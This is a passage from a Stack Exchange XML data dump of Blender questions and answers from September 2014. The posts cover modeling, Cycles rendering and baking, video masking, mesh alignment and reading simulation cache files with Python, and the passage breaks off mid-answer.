  <row Id="15558" PostTypeId="2" ParentId="15556" CreationDate="2014-09-04T13:17:59.113" Score="5" Body="&lt;p&gt;You could add two times as many loop cuts as you need, and just sale the pairs together. This way it is easier to make sure all are aligned and the same size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to do it is just add the loop cuts, then with them still selected, press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;B&lt;/kbd&gt;. That will &lt;em&gt;bevel&lt;/em&gt; the edges, but on a flat surface it will just subdivide the loop cuts.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-09-04T13:17:59.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15559" PostTypeId="1" CreationDate="2014-09-04T13:45:51.660" Score="1" ViewCount="1463" Body="&lt;p&gt;I render planes with procedural materials and don't need any other effects in those renders. The preview is generated within seconds but the final render takes minutes.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What and how should I disable to make the final renders be generated as fast as the previews?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to setup those configs with a Python script?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4928" LastEditorUserId="2217" LastEditDate="2016-02-14T23:15:32.433" LastActivityDate="2016-02-14T23:15:32.433" Title="Speedup Cycles for material-only renders" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;performance&gt;&lt;optimization&gt;" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15560" PostTypeId="1" AcceptedAnswerId="15582" CreationDate="2014-09-04T14:03:17.543" Score="2" ViewCount="377" Body="&lt;p&gt;I would like to know how to bake diffuse indirect lighting to an image in blender using cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My scene has two objects. Both objects have two sets of uv maps. The first map is for the base color texture. The second set exist and should be used to bake out the lighting. When I click bake though, it seems to only use the first uv map, not the light uv map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have clicked the camera icon, which I assume means &quot;Use this uv map for baking&quot;. But that does not seem to work. How can I achieve this? I would also like to make both objects render to the same texture. Do I need to join the objects as one to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my node setup and the uvs for each object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oabJu.png&quot; alt=&quot;node setup&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ae9OL.png&quot; alt=&quot;object 1 setup&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/La94D.png&quot; alt=&quot;object 2 setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5900" LastEditorUserId="2217" LastEditDate="2014-09-04T14:38:49.033" LastActivityDate="2014-09-26T06:42:12.267" Title="Baking to an image using cycles with two sets of existing uvs" Tags="&lt;cycles-render-engine&gt;&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15561" PostTypeId="1" AcceptedAnswerId="15569" CreationDate="2014-09-04T14:28:48.247" Score="5" ViewCount="3592" Body="&lt;p&gt;I'm trying to achieve the merging of multiple video strips like in the following &lt;a href=&quot;https://www.youtube.com/watch?v=qO1kiOiMCNg#t=15&quot; rel=&quot;nofollow&quot;&gt;15 sec in, to 16 sec in - caravan to boat clip&lt;/a&gt;. I think the clip has been animated with a vertical strip. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Could this animated area be achieved with masks in Blender? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If so, how would I go about achieving an animated visible video area, over another video? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4785" LastEditorUserId="3401" LastEditDate="2014-09-04T19:32:47.640" LastActivityDate="2015-11-22T21:46:26.883" Title="Animating the merging of multiple video strips" Tags="&lt;video-sequence-editor&gt;&lt;masking&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15562" PostTypeId="1" AcceptedAnswerId="15855" CreationDate="2014-09-04T14:40:50.487" Score="11" ViewCount="6839" Body="&lt;p&gt;I'm using an image sequence in a material, it draws a series of incremental model outputs for a flooding on a landscape. However it's moving too fast for the rest of the flyover animation. It doesn't have to be completely smooth, so I'm hoping I can slow it down by say only using 1 frame of the image sequence for every 2 frames of the animation, or some other ratio. In other parts I would like to speed it up again. Is there a way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can think of one way to hack it and that would be to write a python script which duplicates some interval of the image files and then changes the sequence numbers, but I'm hoping there is a more elegant way.&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2015-06-20T19:24:13.867" Title="Can I change the speed of an image sequence?" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;image&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15563" PostTypeId="2" ParentId="15559" CreationDate="2014-09-04T14:42:18.683" Score="3" Body="&lt;p&gt;To speed up Cycles, you are going to have to sacrifice realism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is okay for your projects, you might try adjusting the filter glossy field, disabling Shadows, Caustics, and Bounce light, , like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O6DJL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the fields labeled, &quot;Max&quot; and &quot;Min&quot; to adjust the overall amount of Bounce Lighting, but note that this will also disable the &quot;reflectiveness&quot; of an object; If you don't want that, then adjust the fields bellow, with out changing the &quot;Glossy&quot; one.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-09-04T14:42:18.683" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15564" PostTypeId="2" ParentId="15551" CreationDate="2014-09-04T14:52:49.270" Score="0" Body="&lt;p&gt;I'm not entirely sure if this is what you're looking for, but I think I can help here at least with the Edit Mode use. If you were to subdivide the edges in question by either pressing &lt;em&gt;Mesh &gt; Edges &gt; Subdivide&lt;/em&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;E&lt;/kbd&gt; &gt; Subdivide, that'll give you the middle vertex you need to align them. You could then turn on Snap To Vertex with &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;Tab&lt;/kbd&gt; then select Vertex. Then hold down &lt;kbd&gt;Ctrl&lt;/kbd&gt; while you're moving one of the objects and it'll snap to the nearest vertex to your cursor. Once it's in place, you could go back to Edit Mode and dissolve the vertices you added with the subdivision (if you so desire).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, I'm not sure if that's what you're looking for but it might help at least. And a note: the vertex snapping works in both Edit and Object Mode, but moving it in Edit Mode gives you more control from what I've seen. I've tried aligning objects in a similar fashion in just Object Mode, and it only goes to a corner vertex. &lt;/p&gt;&#xA;" OwnerUserId="5890" LastEditorUserId="3127" LastEditDate="2014-09-04T15:07:54.900" LastActivityDate="2014-09-04T15:07:54.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15566" PostTypeId="2" ParentId="15551" CreationDate="2014-09-04T16:20:53.260" Score="1" Body="&lt;p&gt;The quickest way I've found to do this is to use the transform panel in the properties shelf of the 3D viewport. The way I do it is to select both vertices of the edge in mesh 1, go to the transform panel, and (in this case) copy the x value [circled in the image below] (either using CTRL-C, or using the dead-tree method).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SYmxG.jpg&quot; alt=&quot;snap 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The x value will be the median value for the x values of the vertices. Then, deselect the vertices in mesh 1, select all of the vertices in mesh 2, and paste the x value from the vertices in mesh 1 into the x value in mesh 2, or if you used the dead-tree method, click on the x value box and enter the value manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xc1nA.jpg&quot; alt=&quot;snap 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This moves mesh 2 to the new median point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YVjSL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To apply the technique more generally, a bit more math may be necessary. Suppose that it was desirable to snap the objects so that the right edge of mesh 1 was aligned with the left edge of mesh 2, or that either or both of the meshes were not symmetrical. In this case, one would find the median value of the desired snapping point in mesh 1 as above. Then the median value of the same coordinate of the part of mesh 2 that was to be aligned with the part of mesh 1 would be determined by selecting the appropriate number of vertices. Then determine the offset by subtracting the value of the snapping point in mesh 1 from the snapping point in mesh 2, select all of the vertices in mesh 2, and subtract the offset from that median value. Since Blender supports regular expressions in the co-ordinate boxes, this can be done directly in Blender, at least for simpler meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same general technique will work to align objects (in object mode), though the operations are a bit more constrained as only the object center values can be manipulated using these techniques.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-09-04T16:51:21.520" LastActivityDate="2014-09-04T16:51:21.520" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15567" PostTypeId="2" ParentId="15551" CreationDate="2014-09-04T16:36:48.710" Score="3" Body="&lt;p&gt;Using the &lt;strong&gt;snap to&lt;/strong&gt; function it's quite easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode select the edge you want to align to, then press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; and select &lt;strong&gt;cursor to selected&lt;/strong&gt;. The 3D cursor will be placed in the middle of your selected edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back in object mode select your second mesh and do &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; and select &lt;strong&gt;selection to cursor&lt;/strong&gt; your object will then move to where the cursor is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there you can move the 2nd mesh using &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; so it only moves on the Y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/98kvj.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-09-04T16:36:48.710" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15568" PostTypeId="1" CreationDate="2014-09-04T18:21:59.213" Score="3" ViewCount="2425" Body="&lt;p&gt;I know I can link objects by using parent-child relationships, but is there a way to link elements from meshes in two different objects, particularly vertices? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The situation is that I'm working on a terrain object for a game, and I want to separate out the roads for special treatment later on. So created two grid mesh objects, removed all of the faces from each, and I want to use one for the general terrain, and the other for the roads. The grid mesh with the terrain will not duplicate the grid mesh for the roads, and vice versa, except right at the boundary between the two. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to have the elevation of the corresponding vertex of the road mesh move when I edit the elevation of a vertex in the terrain mesh. That is, in this image, &lt;img src=&quot;https://i.stack.imgur.com/wNPxW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want b1 to move when I move a1, and a4 to move when I move b4, even though a1 and a4 are in one object, and b1 and b4 are in another. Is there a way to do this, or am I asking too much?&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2016-01-04T05:08:33.827" LastActivityDate="2016-01-04T05:08:33.827" Title="How do I link vertices between two objects?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15569" PostTypeId="2" ParentId="15561" CreationDate="2014-09-04T18:30:23.737" Score="10" Body="&lt;p&gt;There are a couple ways, but I would use &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Mask_Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;masks&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ISFzD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ISFzD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;With a strip selected, add a mask modifier in the properties region (&lt;kbd&gt;N&lt;/kbd&gt;) by pressing &lt;em&gt;Add strip modifier &gt; Mask&lt;/em&gt;. I also like to set the alpha blending to &lt;em&gt;alpha over&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yo2zs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either use another strip to control the selected strip's alpha channel. You could use a scene strip to generate such a map based on the render output of a scene, or you could use an animated &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Mask_Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;mask&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To create a mask, use the &lt;em&gt;UV/image editor&lt;/em&gt; with the mode set to &lt;em&gt;mask&lt;/em&gt;. Press &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and select the type of mask to create.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To animate it, transform it with &lt;kbd&gt;G&lt;/kbd&gt; (translate) &lt;kbd&gt;S&lt;/kbd&gt; (scale) and &lt;kbd&gt;R&lt;/kbd&gt; (rotate). Insert keyframes with &lt;kbd&gt;I&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To move the keyframes around/delete them, you can use the dopesheet in &lt;em&gt;mask mode&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n7WAD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Unfortunately there doesn't seem to be any way to get the image editor to update in realtime at the moment, so you'll have to manually refresh it by pressing &lt;kbd&gt;F12&lt;/kbd&gt;. For that to work, the viewed image must be set to &lt;em&gt;Render result&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://gfycat.com/DangerousRegularHydatidtapeworm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Result:&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/DangerousRegularHydatidtapeworm&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/DangerousRegularHydatidtapeworm.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.477" LastActivityDate="2014-09-06T20:27:22.153" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15571" PostTypeId="1" CreationDate="2014-09-04T19:04:13.497" Score="1" ViewCount="1114" Body="&lt;p&gt;While working on vertices, and wanting a bit more precision than I can get with a mouse, I use the transform panel of the properties shelf in the 3D viewport. But to do this, I have to move the mouse over to the panel, make my adjustments with the keyboard, and then mouse back over to the vertices I'm working with. Is there a shortcut or hotkey that could eliminate the mouse moves?&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-09-05T02:04:50.443" Title="Is there a shortcut or hotkey that I could use to access the Transform panel of the properties shelf in the 3D viewport?" Tags="&lt;modeling&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15572" PostTypeId="2" ParentId="15571" CreationDate="2014-09-04T19:06:29.113" Score="1" Body="&lt;p&gt;You can type the amount you want to transform the vertices when using &lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;S&lt;/kbd&gt; and &lt;kbd&gt;R&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;-3&lt;/kbd&gt; will translate the selection &lt;code&gt;-3&lt;/code&gt; blender units on the X axis.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-04T19:06:29.113" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15573" PostTypeId="2" ParentId="15571" CreationDate="2014-09-04T19:31:33.620" Score="2" Body="&lt;p&gt;You can also use the keyboard shortcuts combined with the &lt;strong&gt;Arrow Keys&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: in top view pressing &lt;kbd&gt;&lt;strong&gt;G&lt;/strong&gt;&lt;/kbd&gt; and the up/down arrow keys will move the selected vertices on the vertical (&lt;strong&gt;Y&lt;/strong&gt;) axis. The left and right arrows will move on the horixontal (&lt;strong&gt;X&lt;/strong&gt;) axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On any side view, the up/down arrows will control movement on the &lt;strong&gt;Z&lt;/strong&gt; axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can still use constraints like &lt;kbd&gt;&lt;strong&gt;G&lt;/strong&gt;&lt;/kbd&gt;&lt;kbd&gt;&lt;strong&gt;X&lt;/strong&gt;&lt;/kbd&gt;, &lt;kbd&gt;&lt;strong&gt;G&lt;/strong&gt;&lt;/kbd&gt; &lt;kbd&gt;&lt;strong&gt;Y&lt;/strong&gt;&lt;/kbd&gt;, &lt;kbd&gt;&lt;strong&gt;G&lt;/strong&gt;&lt;/kbd&gt;&lt;kbd&gt;&lt;strong&gt;Z&lt;/strong&gt;&lt;/kbd&gt; to limit the movement to one axis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The precision of your movements will depend on how far you zoom in on the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For even smaller moves you can press &lt;kbd&gt;Shift&lt;/kbd&gt; while pressing the arrow keys.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-09-05T02:04:50.443" LastActivityDate="2014-09-05T02:04:50.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15574" PostTypeId="2" ParentId="15546" CreationDate="2014-09-04T20:15:16.723" Score="2" Body="&lt;p&gt;You can read the keyframe points of F-Curves directly, which doesn't require frame changes. Instead, the x-coordinate of a point is the time / keyframe, the y-coordinate is the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find the right F-Curves, iterate over &lt;code&gt;Object.animation_data.action.fcurves&lt;/code&gt; and check their &lt;code&gt;data_path&lt;/code&gt; and &lt;code&gt;array_index&lt;/code&gt; properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/info_quickstart.html#animation&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_71_release/info_quickstart.html#animation&lt;/a&gt;&#xA;(See the low level example)&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-09-04T20:15:16.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15575" PostTypeId="2" ParentId="15568" CreationDate="2014-09-04T20:29:37.663" Score="4" Body="&lt;p&gt;On the bottom grid apply a Shrinkwrap modifier in Project mode and select the upper grid as the target object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UIlA3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two meshes will connect. Move the offset value on the modifier so the vertices go back to their original position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you move the vertices on the top grid the corresponding vertices on the bottom will follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zbkri.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-09-04T20:58:42.113" LastActivityDate="2014-09-04T20:58:42.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15576" PostTypeId="2" ParentId="15185" CreationDate="2014-09-04T20:42:53.133" Score="3" Body="&lt;p&gt;Turns out, you need to edit the alpha and specular values under Z Transparency and turn on the Alpha influence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, remove the Alpha and Specular values entirely(Set to 0 or -1, can't remember which) under the Z Transparency in the Material Editor. Then, under the Influence tab in the texture editor, add the Alpha channel and then shift it to 0.&lt;/p&gt;&#xA;" OwnerUserId="5710" LastEditorUserId="5710" LastEditDate="2014-09-29T23:50:47.153" LastActivityDate="2014-09-29T23:50:47.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15577" PostTypeId="1" CreationDate="2014-09-04T20:55:13.207" Score="5" ViewCount="2809" Body="&lt;p&gt;I am trying to extract position, velocity and rotation data from smoke simulation cache files .bphys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have been attempting to convert the .bphys file  into a more human readable form via python. With the eventual goal of using the location velocity and rotation data to create an .fga vector field that could be imported into unreal engine 4. &#xA;If someone could tell me how to convert the binary data into usable (human readable) float values using python that would be amazing. &#xA;I am having problems separating the data properly into floats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(here is an overview of the contents of the files.  &lt;a href=&quot;https://developer.blender.org/rBAC17a9b3e44ca0e48ef0244df19f2f252198a56919&quot; rel=&quot;noreferrer&quot;&gt;https://developer.blender.org/rBAC17a9b3e44ca0e48ef0244df19f2f252198a56919&lt;/a&gt; ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(additional info)&#xA;struct.unpack is currenly what i have been trying to use. however there seems to be some non float data at the start of the file. &#xA;i have not been able to work out exactly where it ends, and i think it might be throwing off the unpack. &#xA;also unpacking with &quot;f&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;struct.unpack(&quot;f&quot;,file.read(4)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is resulting in strings of numbers with what i assume to be scientific notation at the end (**10) e.g 4.203895289274451e-45,&#xA;which do not look like the sort of values i was expecting to find. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5906" LastEditorUserId="5907" LastEditDate="2014-09-05T20:17:02.770" LastActivityDate="2016-08-20T21:42:03.820" Title="How to extract/convert data from blender cache files .bphys into a human readable form via python" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15578" PostTypeId="1" AcceptedAnswerId="15589" CreationDate="2014-09-04T21:47:01.780" Score="5" ViewCount="3792" Body="&lt;p&gt;I have a UV map where some faces overlap and some don't. The overlapping faces are overlapped on purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to do an occlusion bake on the non overlapping faces, but it seems to always bake the whole object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to only bake the faces I have selected?&lt;/p&gt;&#xA;" OwnerUserId="639" LastEditorUserId="2217" LastEditDate="2014-09-05T00:44:00.647" LastActivityDate="2014-09-05T03:09:58.177" Title="How do I bake to only selected faces?" Tags="&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15579" PostTypeId="2" ParentId="15578" CreationDate="2014-09-04T22:05:42.783" Score="3" Body="&lt;p&gt;I don't know of any ways you can bake just certain faces.  But, you can bake the entire object and create a separate material for the baked part.  Then assign it to just the faces you want baked and leave the other faces with their materials, or give them a separate bake.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-09-04T22:05:42.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15580" PostTypeId="1" AcceptedAnswerId="21255" CreationDate="2014-09-04T22:27:17.767" Score="2" ViewCount="1677" Body="&lt;p&gt;How can I have collision bounds that are exact, even during animations. If I have a character with a simple rectangular prism, it won't be realistic. I could have an exact copy in shape but the animations will play and it will be ruined. I could have animations on the collision bounds, but then being stable to the ground won't happen. I could just have simple bounds then another set of perfect bounds, but dynamic object will hit only the simple one. There is obviously another technique for the next step in this topic. How can I have collision bounds that work with dynamic objects, and are perfect in shape to the original character that are also stable to the ground?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer solutions that do not include python.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="2217" LastEditDate="2016-02-14T23:58:35.743" LastActivityDate="2016-02-14T23:58:35.743" Title="Active collision bounds in the BGE?" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15581" PostTypeId="1" AcceptedAnswerId="15583" CreationDate="2014-09-05T00:16:12.953" Score="22" ViewCount="31880" Body="&lt;p&gt;Is there a tool or an easier way to remove unneeded geometry from objects? Mostly when using a &quot;Displace&quot; modifier, on many places there are flat surfaces where there is extra geometry on the mesh, that you would like them to be removed. At first I thought of the &quot;Decimate&quot; modifier, but is there a way to do it more evenly. By preserving the edge/face flow and such. Is there some feature for something like that in Blender?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From this&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L6Rqj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To this&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I4Uam.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Or to this (if I want the geometry to be to the very limits and worrying only about the shape)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Btejy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="12" LastEditDate="2014-09-06T00:37:58.940" LastActivityDate="2014-09-06T00:37:58.940" Title="Remove extra geometry from objects" Tags="&lt;modeling&gt;&lt;topology&gt;&lt;geometry&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15582" PostTypeId="2" ParentId="15560" CreationDate="2014-09-05T00:31:36.767" Score="3" Body="&lt;p&gt;For Cycles baking, the Vector input of the texture being baked to has no effect(for now).  You must select the bake target UV's using the following dialogue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nLURC.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's one of those controversial design decisions but I do believe that python can access this input socket so scripters can programmatically choose the UV Coordinates.  I have not tried this though so I could be totally wrong about how that works.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-09-26T06:42:12.267" LastActivityDate="2014-09-26T06:42:12.267" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15583" PostTypeId="2" ParentId="15581" CreationDate="2014-09-05T00:39:03.570" Score="23" Body="&lt;h1&gt;Manual with good topology&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To get the topology in your second image. Select the loops you want to delete with &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;RMB &lt;img src=&quot;https://wiki.blender.org/uploads/5/5e/Template-RMB.png&quot; alt=&quot;RMB&quot;&gt;&lt;/kbd&gt;, or in &lt;em&gt;Wireframe&lt;/em&gt; mode use border select (&lt;kbd&gt;B&lt;/kbd&gt;). Then press &lt;kbd&gt;Delete&lt;/kbd&gt; and choose &lt;em&gt;Edge Loops&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Manual with N-gons&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To delete all edges and vertices on a face and just be left with a large N-gon. Select all the faces on a plane (example everything on the top); then press &lt;kbd&gt;Delete&lt;/kbd&gt; and choose &lt;em&gt;Limited Dissolve&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Modifiers&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you are less picky about topology, and want a more automatic solution Then use a &lt;em&gt;Decimate&lt;/em&gt; modifier. For examples like your's set the &lt;em&gt;Decimate&lt;/em&gt; modifier to &lt;em&gt;Planar&lt;/em&gt;, then adjust the angle limit to suit your 